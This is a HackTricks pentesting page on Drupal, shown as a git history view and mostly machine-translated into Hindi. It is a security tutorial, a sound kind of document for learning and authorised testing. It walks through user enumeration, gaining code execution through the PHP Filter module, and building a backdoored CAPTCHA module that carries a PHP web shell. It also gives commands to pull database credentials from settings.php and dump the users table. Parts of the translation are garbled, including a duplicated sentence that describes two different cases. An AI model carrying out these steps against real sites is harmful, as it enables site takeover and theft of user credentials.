hacktricks/network-services-pentesting/pentesting-web/drupal.md

215 lines
18 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# Drupal
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) का
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **फॉलो** करें मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-11-06 08:38:02 +00:00
## खोज
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
* **मेटा** की जांच करें
2022-10-02 23:08:05 +00:00
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
2023-11-06 08:38:02 +00:00
* **नोड**: ड्रुपल **नोड का उपयोग करके अपनी सामग्री को इंडेक्स करता है**। एक नोड में कुछ भी हो सकता है जैसे ब्लॉग पोस्ट, पोल, लेख आदि। पृष्ठ URI आमतौर पर `/node/<nodeid>` के रूप में होते हैं।
2022-10-02 23:08:05 +00:00
```bash
curl drupal-site.com/node/1
```
2023-11-06 08:38:02 +00:00
## जांच
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
Drupal डिफ़ॉल्ट रूप से **तीन प्रकार के उपयोगकर्ता** का समर्थन करता है:
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
1. **`प्रशासक`**: इस उपयोगकर्ता के पास Drupal वेबसाइट पर पूर्ण नियंत्रण होता है।
2. **`प्रमाणित उपयोगकर्ता`**: इन उपयोगकर्ताओं को वेबसाइट में लॉग इन करने और अपनी अनुमतियों के आधार पर लेख जोड़ने और संपादित करने जैसे कार्य करने की अनुमति होती है।
3. **`अज्ञात`**: सभी वेबसाइट आगंतुकों को अज्ञात के रूप में निर्धारित किया जाता है। डिफ़ॉल्ट रूप से, इन उपयोगकर्ताओं को केवल पद पढ़ने की अनुमति होती है।
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
### संस्करण
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
* `/CHANGELOG.txt` की जांच करें
2022-10-02 23:08:05 +00:00
```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
2023-11-06 08:38:02 +00:00
नवीनतम Drupal स्थापनाएं डिफ़ॉल्ट रूप से `CHANGELOG.txt` और `README.txt` फ़ाइलों का पहुंच अवरोधित करती हैं।
2022-10-02 23:08:05 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
### उपयोगकर्ता गणना
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
#### पंजीकरण
2023-11-06 08:38:02 +00:00
_/user/register_ में एक उपयोगकर्ता नाम बनाने का प्रयास करें और यदि नाम पहले से ही लिया गया है तो यह सूचित किया जाएगा:
![](<../../.gitbook/assets/image (254).png>)
2023-11-06 08:38:02 +00:00
#### नया पासवर्ड अनुरोध
2023-11-06 08:38:02 +00:00
यदि आप किसी मौजूदा उपयोगकर्ता के लिए एक नया पासवर्ड अनुरोध करते हैं:
![](<../../.gitbook/assets/image (255).png>)
2023-11-06 08:38:02 +00:00
यदि आप किसी मौजूदा उपयोगकर्ता के लिए एक नया पासवर्ड अनुरोध करते हैं:
![](<../../.gitbook/assets/image (256).png>)
2023-11-06 08:38:02 +00:00
### उपयोगकर्ताओं की संख्या प्राप्त करें
2023-11-06 08:38:02 +00:00
_/user/\<number>_ तक पहुंच कर आप मौजूदा उपयोगकर्ताओं की संख्या देख सकते हैं, इस मामले में _/users/3_ एक खोजा नहीं मिला त्रुटि देता है:
![](<../../.gitbook/assets/image (257).png>)
![](<../../.gitbook/assets/image (227) (1) (1).png>)
2023-11-06 08:38:02 +00:00
### छिपी हुई पृष्ठ
2023-11-06 08:38:02 +00:00
**_/node/$_ जहां _$_ एक संख्या है** (1 से 500 तक उदाहरण के लिए)।\
आप **छिपी हुई पृष्ठ** (परीक्षण, विकास) को खोज सकते हैं जो खोज इंजन द्वारा संदर्भित नहीं होते हैं।
2021-09-20 10:57:53 +00:00
2023-11-06 08:38:02 +00:00
#### स्थापित मॉड्यूल जानकारी
2021-09-20 10:57:53 +00:00
```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```
2023-11-06 08:38:02 +00:00
### स्वचालित
Automatic testing tools can be very useful when it comes to pentesting Drupal websites. These tools can help identify common vulnerabilities and weaknesses in the Drupal installation. Here are some popular automatic testing tools for Drupal:
- **Drupalgeddon**: This tool is specifically designed to exploit the Drupalgeddon vulnerability, which is a highly critical vulnerability that allows remote code execution. It can be used to test if a Drupal website is vulnerable to this exploit.
2021-09-20 10:57:53 +00:00
2023-11-06 08:38:02 +00:00
- **Droopescan**: Droopescan is a scanner that can be used to identify vulnerabilities in Drupal installations. It can detect outdated modules, weak passwords, and other security issues.
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
- **CMSmap**: CMSmap is a versatile scanner that can be used to identify the CMS (Content Management System) used by a website. It can also detect vulnerabilities in Drupal installations.
- **Nikto**: Nikto is a popular web server scanner that can be used to identify vulnerabilities in Drupal installations. It can detect outdated versions, misconfigurations, and other security issues.
- **Wapiti**: Wapiti is a web application vulnerability scanner that can be used to identify vulnerabilities in Drupal installations. It can detect SQL injection, XSS (Cross-Site Scripting), and other common web application vulnerabilities.
These tools can save time and effort during the pentesting process by automating the identification of common vulnerabilities in Drupal websites. However, it's important to note that automatic testing tools may not detect all vulnerabilities, so manual testing is still necessary to ensure thorough security testing.
2022-10-02 23:08:05 +00:00
```bash
droopescan scan drupal -u http://drupal-site.local
```
## RCE
2023-11-06 08:38:02 +00:00
### PHP Filter Module के साथ
2022-10-02 23:08:05 +00:00
{% hint style="warning" %}
2023-11-06 08:38:02 +00:00
पुराने संस्करणों में Drupal **(version 8 से पहले)** में, एडमिन के रूप में लॉग इन करके **`PHP filter` मॉड्यूल को सक्षम करना संभव था**, जो "एम्बेडेड PHP कोड/स्निपेट को मूल्यांकन करने की अनुमति देता है।"
2022-10-02 23:08:05 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
आपको **प्लगइन php को स्थापित करने की आवश्यकता है** (इसे जांचने के लिए _/modules/php_ तक पहुंचें और यदि यह **403** लौटाता है तो, **मौजूद है**, यदि **नहीं मिला**, तो **प्लगइन php स्थापित नहीं है**)
2023-11-06 08:38:02 +00:00
_मॉड्यूल्स_ पर जाएं -> (**जांचें**) _PHP Filter_ -> _कॉन्फ़िगरेशन सहेजें_
![](<../../.gitbook/assets/image (247) (1).png>)
2023-11-06 08:38:02 +00:00
फिर _Add content_ पर क्लिक करें -> _Basic Page_ या _Article_ का चयन करें -> _शरीर पर php शैलकोड लिखें_ -> _Text format_ में _PHP code_ का चयन करें -> _Preview_ का चयन करें
2023-03-04 19:33:37 +00:00
![](<../../.gitbook/assets/image (253) (1).png>)
2023-11-06 08:38:02 +00:00
अंत में, नवीनतम बनाए गए नोड तक पहुंचें:
2022-10-02 23:08:05 +00:00
```bash
curl http://drupal-site.local/node/3
```
2023-11-06 08:38:02 +00:00
### PHP Filter Module को इंस्टॉल करें
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
**8 संस्करण के बाद से**, [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **मॉड्यूल डिफ़ॉल्ट रूप से इंस्टॉल नहीं होता है**। इस फंक्शनालिटी का लाभ उठाने के लिए, हमें **मॉड्यूल को खुद ही इंस्टॉल करना होगा**
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
1. Drupal वेबसाइट से मॉड्यूल के सबसे हाल के संस्करण को डाउनलोड करें।
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. डाउनलोड होने के बाद, **`प्रशासन`** > **`रिपोर्ट`** > **`उपलब्ध अपडेट`** पर जाएं।
3. **`ब्राउज़ करें`** पर क्लिक करें, डायरेक्टरी से फ़ाइल का चयन करें और फिर **`इंस्टॉल`** पर क्लिक करें।
4. मॉड्यूल इंस्टॉल होने के बाद, हम **`सामग्री`** पर क्लिक करके एक नया बेसिक पेज बना सकते हैं, जैसा कि हमने Drupal 7 के उदाहरण में किया था। फिर सुनिश्चित करें कि **`पाठ स्वरूप` ड्रॉपडाउन से `PHP कोड` का चयन करें**।
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
### Backdoored मॉड्यूल
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
एक backdoored मॉड्यूल बनाने के लिए, **मौजूदा मॉड्यूल में एक शैल जोड़ना** संभव है। मॉड्यूल drupal.org वेबसाइट पर मिल सकते हैं। हम एक मॉड्यूल जैसे [CAPTCHA](https://www.drupal.org/project/captcha) का चयन करें। नीचे स्क्रॉल करें और tar.gz [आर्काइव](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) के लिए लिंक कॉपी करें।
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
* आर्काइव डाउनलोड करें और उसकी सामग्री निकालें।
2022-10-02 23:08:05 +00:00
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
2023-11-06 08:38:02 +00:00
* निम्नलिखित सामग्री के साथ एक **PHP वेब शैल** बनाएँ:
2022-10-02 23:08:05 +00:00
```php
<?php
system($_GET["cmd"]);
?>
```
2023-11-06 08:38:02 +00:00
* अगले, हमें फ़ोल्डर तक पहुँच के लिए खुद को एक **`.htaccess`** फ़ाइल बनानी होगी। यह जरूरी है क्योंकि Drupal **`/modules`** फ़ोल्डर के लिए सीधा पहुँच को अस्वीकार करता है।
2022-10-02 23:08:05 +00:00
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
2023-11-06 08:38:02 +00:00
* उपरोक्त विन्यास ने नियमों को लागू किया है जब हम /modules में एक फ़ाइल का अनुरोध करते हैं तो / फ़ोल्डर के लिए। इन दोनों फ़ाइलों को captcha फ़ोल्डर में कॉपी करें और एक आर्काइव बनाएं।
2022-10-02 23:08:05 +00:00
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
2023-11-06 08:38:02 +00:00
* यदि हमें वेबसाइट पर **प्रशासनिक पहुंच** है, तो **`Manage`** पर क्लिक करें और साइडबार पर **`Extend`** पर क्लिक करें। अगले कदम में, **`+ Install new module`** बटन पर क्लिक करें, और हमें इंस्टॉल पेज पर ले जाया जाएगा, जैसे `http://drupal-site.local/admin/modules/install`। बैकडोर्ड कैप्चा आर्काइव तक ब्राउज़ करें और **`Install`** पर क्लिक करें।
* इंस्टॉलेशन सफल होने के बाद, कमांड्स को निष्पादित करने के लिए **`/modules/captcha/shell.php`** पर ब्राउज़ करें।
2022-10-02 23:08:05 +00:00
2023-11-06 08:38:02 +00:00
## पोस्ट एक्सप्लोइटेशन
2021-04-01 21:42:37 +00:00
2023-11-06 08:38:02 +00:00
### settings.php पढ़ें
```
2021-04-01 21:42:37 +00:00
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```
2023-11-06 08:38:02 +00:00
### डीबी से उपयोगकर्ताओं को डंप करें
To dump users from the database, you can use the following steps:
2021-04-01 21:42:37 +00:00
2023-11-06 08:38:02 +00:00
1. Identify the database management system (DBMS) being used by the Drupal website. This can be MySQL, PostgreSQL, or another DBMS.
2021-04-01 21:42:37 +00:00
2023-11-06 08:38:02 +00:00
2. Use the appropriate command-line tool or graphical interface to connect to the database.
3. Once connected, execute the SQL query to dump the users table. The query may vary depending on the DBMS being used. For example, in MySQL, you can use the following command:
```sql
SELECT * FROM users;
```
This will retrieve all the records from the users table.
4. Save the output of the query to a file for further analysis. You can redirect the output to a file using the following command in the command-line interface:
```bash
mysql -u <username> -p <database> -e "SELECT * FROM users;" > users_dump.txt
```
Replace `<username>` with the database username, `<database>` with the name of the Drupal database, and `users_dump.txt` with the desired filename.
By following these steps, you will be able to dump the users from the Drupal database.
```
2021-04-01 21:42:37 +00:00
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```
2023-11-06 08:38:02 +00:00
## संदर्भ
2022-10-02 23:08:05 +00:00
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह!
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स को हमें PR के माध्यम से सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **के लिए साझा करें।**
2022-04-28 16:01:33 +00:00
</details>